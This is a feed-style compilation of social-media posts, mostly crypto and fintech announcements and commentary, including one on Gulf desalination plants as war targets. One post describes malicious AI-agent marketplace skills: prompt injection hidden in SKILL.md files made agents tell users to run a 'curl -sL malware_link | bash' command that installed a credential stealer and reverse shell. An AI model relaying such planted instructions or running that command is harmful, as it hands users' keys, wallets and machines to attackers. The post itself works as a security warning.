Francesco Piras

The next Burj Khalifa will likely be tokenized. Many still underestimate what’s happening in Dubai. Or aren’t aware of its full implications. Real estate tokenization has always been the holy grail of the blockchain industry. Everyone talked about it, but no one had really seen it in real action. Now it’s possible to represent fractional ownership of a property through a token. This means that small investors from all over the world can now invest in Dubai’s real estate market. One of the fastest-growing market in the world. Buy and sell with near-zero friction, dramatically improving liquidity and speed. But this is just the beginning. Thanks to the true innovation driven by the Dubai Land Department, the next step will be using these tokens as collateral for borrowing and lending. Decentralized Finance (DeFi) is converging with real-world assets. I hope more countries will soon follow Dubai’s example. They are setting the standard for the rest of the world.

JUST IN: The amount of businesses accepting bitcoin as payment went parabolic today as Square enabled automatic BTC payments 🚀

Yesterday we hosted the Institutional Ethereum Forum in NYC. A private, closed-door, invite-only for institutional execs. $250T+ in combined assets represented. Attended by leaders at: → DTCC → Swift → Euroclear → BlackRock → Morgan Stanley → Fidelity → JPMorgan → State Street → Mastercard → Visa → Stripe → PayPal → Nasdaq → LSEG → Broadridge → S&P Global → Moody's → Microsoft → EY → Invesco → Franklin Templeton → T. Rowe Price → Baillie Gifford → CoinFund → WisdomTree → VanEck → U.S. Bank → Western Union → Paxos → Consensys → Aave → Uniswap → Chainlink → Securitize → Ondo Finance → Paradigm → a16z → Dragonfly → Anchorage Digital And many more. Co-hosted by our friends at → @aave → @zksync → @arbitrum → @Optimism → @chainlink The institutions aren't coming. They're here. Ethereum.

Paraguay is requiring all bitcoin transactions over $5,000 to be reported to the government. The country's tax authority just issued Resolution 47/26, mandating disclosure of wallet addresses, transaction hashes, and network details for every qualifying transaction. It covers purchases, sales, mining, staking, airdrops, lending, payments, and even transfers between your own wallets. Exchanges are required to hand over user data. Paraguay was one of the most Bitcoin-friendly countries in Latin America. Cheap hydroelectric energy, light regulation, a growing mining community. That's changing fast. No new taxes yet. But this is exactly how financial surveillance starts. You build the reporting infrastructure first, then the taxes come later. Every time. The justification is "FATF compliance" and "transparency." The same language every government uses before it tightens the screws. This is the playbook. Country welcomes bitcoin when it needs the investment. Then once the infrastructure is built, the reporting requirements show up.

Everyone is watching the oil, not the water. Kuwait gets 90% of its drinking water from desalination plants. Oman 86%. Saudi Arabia 70%. There is no aquifer, no river, no rainfall. The entire Arabian Peninsula drinks water that is manufactured from the sea. One drone. One plant. Millions without water. That is not speculation. A 2009 US diplomatic cable concluded: Destroy the desalination infrastructure and you could force the evacuation of the Saudi capital within a week. Iran has not hit desalination plants yet. That restraint is a choice. It's also a card. Iran's navy is gone. Its air force is degraded. Its Supreme Leader is dead. Its missile rate has dropped 70%. Every conventional military option is being systematically closed. What remains is asymmetric warfare against infrastructure that the entire Gulf coalition cannot function without. You do not need to win an air war to win an asymmetric war. You need to hit the thing your enemy cannot replace on any timeline that matters. Oil can be rerouted. Gas can be replaced. Water in the Arabian desert cannot be improvised. The GCC has built redundancies since this vulnerability was identified. But redundancies are not immunity. And Iran knows exactly where every plant sits. The oil war is being priced. The water war has not even entered the model yet. If it does, this conflict has a second act that makes the first one look contained.

It's official - stock trading is live on Coinbase. Thanks for the shoutout, @Nasdaq.

A historic moment for crypto. Kraken Financial has been granted a Federal Reserve master account, making us the first digital asset bank with direct access to the U.S. payments system. A major step toward connecting crypto infrastructure with the core rails of global finance. blog.kraken.com/news/federal-r…

the #1 most downloaded skill on OpenClaw marketplace was MALWARE it stole your SSH keys, crypto wallets, browser cookies, and opened a reverse shell to the attackers server 1,184 malicious skills found, one attacker uploaded 677 packages ALONE OpenClaw has a skill marketplace called ClawHub where anyone can upload plugins you install a skill, your AI agent gets new powers, this sounds great the problem? ClawHub let ANYONE publish with just a 1 week old github account attackers uploaded skills disguised as crypto trading bots, youtube summarizers, wallet trackers. the documentation looked PROFESSIONAL but hidden in the SKILL.md file were instructions that tricked the AI into telling you to run a command > to enable this feature please run: curl -sL malware_link | bash that one command installed Atomic Stealer on macOS it grabbed your browser passwords, SSH keys, Telegram sessions, crypto wallets, keychains, and every API key in your .env files on other systems it opened a REVERSE SHELL giving the attacker full remote control of your machine Cisco scanned the #1 ranked skill on ClawHub. it was called What Would Elon Do and had 9 security vulnerabilities, 2 CRITICAL. it silently exfiltrated data AND used prompt injection to bypass safety guidelines, downloaded THOUSANDS of times. the ranking was gamed to reach #1 this is npm supply chain attacks all over again except the package can THINK and has root access to your life

Introducing EVMbench—a new benchmark that measures how well AI agents can detect, exploit, and patch high-severity smart contract vulnerabilities. openai.com/index/introduc…

🇮🇹 ITALY’S LARGEST BANK, INTESA SANPAOLO JUST DISCLOSED BUYING $100,000,000 WORTH OF #BITCOIN ETF IT’S HAPPENING

💥BREAKING: ELON MUSK'S "X" IS ABOUT TO BECOME THE BIGGEST CRYPTO PLAYER. Just today, it was announced that X will launch crypto trading directly from its timeline. This is expected to happen within a few weeks, and most people are underestimating the impact. X has nearly 600 million monthly active users, which is 50M+ more than global crypto users. In several countries, X is the most visited social app and has 1B+ total downloads. Compare it with any crypto exchange, X is by far the biggest platform which will provide crypto trading. Elon Musk's other companies like Tesla and SpaceX already own Bitcoin and now X is going even deeper. I know a lot of people are expecting a gigantic pump, but this is something which will play over a long period of time. Just like ETFs didn't start a bull run immediately, this announcement will also take time to show its impact. But once X starts going all-in crypto, hundreds of millions of new users will enter the crypto space which will result in both a parabolic adoption and price.

After reviewing the Senate Banking draft text over the last 48hrs, Coinbase unfortunately can’t support the bill as written. There are too many issues, including: - A defacto ban on tokenized equities - DeFi prohibitions, giving the government unlimited access to your financial records and removing your right to privacy - Erosion of the CFTC’s authority, stifling innovation and making it subservient to the SEC - Draft amendments that would kill rewards on stablecoins, allowing banks to ban their competition We appreciate all the hard work by members of the Senate to reach a bi-partisan outcome, but this version would be materially worse than the current status quo. We’d rather have no bill than a bad bill. Hopefully we can all get to a better draft. We'll keep fighting for all Americans and for economic freedom. Crypto needs to be treated on a level playing field with the rest of financial services so we can build this industry in a safe and trusted way in America.

Yesterday a quasi-judicial body in Italy fined @Cloudflare $17 million for failing to go along with their scheme to censor the Internet. The scheme, which even the EU has called concerning, required us within a mere 30 minutes of notification to fully censor from the Internet any sites a shadowy cabal of European media elites deemed against their interests. No judicial oversight. No due process. No appeal. No transparency. It required us to not just remove customers, but also censor our 1.1.1.1 DNS resolver meaning it risked blacking out any site on the Internet. And it required us not just to censor the content in Italy but globally. In other words, Italy insists a shadowy, European media cabal should be able to dictate what is and is not allowed online. That, of course, is DISGUSTING and even before yesterday’s fine we had multiple legal challenges pending against the underlying scheme. We, of course, will now fight the unjust fine. Not just because it’s wrong for us but because it is wrong for democratic values. In addition, we are considering the following actions: 1) discontinuing the millions of dollars in pro bono cyber security services we are providing the upcoming Milano-Cortina Olympics; 2) discontinuing Cloudflare’s Free cyber security services for any Italy-based users; 3) removing all servers from Italian cities; and 4) terminating all plans to build an Italian Cloudflare office or make any investments in the country. Play stupid games, win stupid prizes. While there are things I would handle differently than the current U.S. administration, I appreciate @JDVance taking a leadership role in recognizing this type of regulation is a fundamental unfair trade issue that also threatens democratic values. And in this case @ElonMusk is right: #FreeSpeech is critical and under attack from an out-of-touch cabal of very disturbed European policy makers. I will be in DC first thing next week to discuss this with U.S. administration officials and I’ll be meeting with the IOC in Lausanne shortly after to outline the risk to the Olympic Games if @Cloudflare withdraws our cyber security protection. In the meantime, we remain happy to discuss this with Italian government officials who, so far, have been unwilling to engage beyond issuing fines. We believe Italy, like all countries, has a right to regulate the content on networks inside its borders. But they must do so following the Rule of Law and principles of Due Process. And Italy certainly has no right to regulate what is and is not allowed on the Internet in the United States, the United Kingdom, Canada, China, Brazil, India or anywhere outside its borders. THIS IS AN IMPORTANT FIGHT AND WE WILL WIN!!!

HUGE: 🇦🇪 Binance has moved its headquarters to the UAE!

🚨 BREAKING: Trump: the current financial system is outdated and will be replaced with a crypto-based one. The entire financial system will go on-chain. MEGA BULLISH FOR CRYPTO.

0/ Ethereum isn’t just a blockchain. It’s emerging as a public layer of the Internet, and valuing it requires a new framework. A guest thread by @wmougayar, based on his new report: “The Internet’s Blueprint for Ethereum: A Public Goods Valuation Framework."

💥BREAKING: COINBASE CEO BRIAN ARMSTRONG SAYS THE LARGEST FINANCIAL INSTITUTIONS IN THE WORLD ARE ALL INTEGRATING CRYPTO. “THE UNITED STATES GOVERNMENT NOW HAS A STRATEGIC BITCOIN RESERVE. WHAT BIGGER ENDORSEMENT COULD THERE BE THAT THIS IS HERE TO STAY?”

@paoloardoino Ottima mossa strategica, mettere pressione su Exor. Sarebbe una vera rivoluzione negli assetti di potere in Italia. Loro rifiuteranno, ma da quel momento in poi saranno doppiamente responsabili se la Juventus non dovesse andare bene.

Oggi Tether ha inviato una proposta ufficiale ad Exor per comprare la loro intera quota di Juventus. Sin dall'inizio il nostro obiettivo è sempre stato quello di sostenere la squadra e riportarla alla gloria che merita. Come parte del nostro commitment, se questa transazione andrà a buon fine, Tether investirà 1 miliardo di Euro nel club. 🦓🦓🦓

TODAY: TETHER SUBMITS PROPOSAL TO ACQUIRE JUVENTUS FOOTBALL CLUB

JUST IN: CFTC ANNOUNCES WITHDRAWAL OF "OUTDATED DIGITAL ASSETS GUIDANCE"